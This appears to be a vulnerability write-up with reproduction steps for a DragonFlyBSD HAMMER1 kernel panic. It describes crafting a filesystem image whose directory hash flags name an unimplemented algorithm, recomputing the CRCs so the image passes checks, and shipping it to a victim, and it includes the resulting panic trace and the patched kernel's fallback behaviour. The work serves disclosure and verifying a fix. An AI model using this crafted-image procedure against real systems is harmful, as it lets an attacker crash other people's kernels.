# DF-0838 — build & run

## Build (the in-guest image-patcher)

```sh
cc -O2 -Wall -o image_patcher image_patcher.c -lz
```

The C source uses only zlib's `crc32()` (matches HAMMER v≤6 inode/leaf CRC).
Run as **root** on the DragonFlyBSD guest.

## Reproduce the panic (full chain)

Driver script `repro.sh` (run as root inside the guest) does everything:

1. `cc` the patcher
2. `truncate -s 2G /root/df0838.img`
3. `vnconfig vn /root/df0838.img` → e.g. `vn4`
4. `newfs_hammer -L df0838 -V 6 -f /dev/vn4` (forces vol_version=6 so leaf CRC
   is plain crc32, matching the patcher)
5. `mount_hammer` + `mkdir testdir` + populate `testdir/file1` + `umount`
6. Run `image_patcher` against the raw image file:
   * finds every directory inode (`ver=1, mode=0755, obj_type=1`)
   * flips `cap_flags` bits[1:0] to `0x02` (ALG2 — unimplemented)
   * recomputes the per-leaf `data_crc32`
   * recomputes the parent B-Tree node's CRC (4 KiB node, CRC over bytes [4,4096))
7. `vnconfig vn /root/df0838.img` again
8. `mount_hammer /dev/vnN /mnt/df0838`
9. `ls -la /mnt/df0838/testdir/file1` → **panics** the unpatched kernel

### Expected on the UNPATCHED kernel (#0 baseline)

```
panic: hammer_direntry_namekey: bad algorithm 0xfffff80116ed4640
cpuid = 3
Trace beginning at frame 0xfffff80118b07418
hammer_direntry_namekey() at hammer_direntry_namekey+0x1ae
hammer_vop_nresolve() at hammer_vop_nresolve+0x20f
vop_nresolve() at vop_nresolve+0x53
cache_resolve() at cache_resolve+0x61e
nlookup() at nlookup+0x8e1
Debugger("panic")
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>
```

The trace points exactly at `hammer_subs.c:1031` (`hpanic("bad algorithm")`)
reached via `hammer_vnops.c:1220` (`hammer_vop_nresolve`).

### Expected on the PATCHED kernel (#1, with `fix.diff` applied)

```
mount rc=0
-rw-r--r--  1 root  wheel  6 ... /mnt/df0838/testdir/file1
ls rc=0
hello
# dmesg:
hammer_direntry_namekey: dir ino 0000000000000001 has unknown dirhash alg 2, falling back to ALG0
hammer_direntry_namekey: dir ino 0000000100000615 has unknown dirhash alg 2, falling back to ALG0
```

No panic, file accessible, fallback to ALG0.

## Realism / reachability (Phase 6)

Triggering requires `mount_hammer` of the attacker's crafted image. On a real
system an attacker:

* Crafts the HAMMER1 image **offline** (their own machine) — every step in
  `image_patcher.c` works just as well on a copy of `hammer_disk.h` plus zlib.
* Ships it to a victim (USB / download / mail attachment).
* Victim mounts the image — either as root, or, with `vfs.usermount=1` and
  ownership of the image+mountpoint, as any unprivileged user.
* Any subsequent filename op (`ls /mnt/foo`, `cat /mnt/x`, `touch`, rename)
  under the corrupted directory panics the kernel.

This is a **kernel DoS via a crafted filesystem image** — a classic attacker-
supplied-parses-data threat. No escalation chain applies (the panic kills the
kernel before any primitive can be derived); impact is **panic / DoS**.

`cap_flags` is read verbatim from disk at `hammer_inode.c:525` with **no
semantic validation** of the DIRHASH bits — only the leaf `data_crc32` (which
the attacker can recompute) is checked.
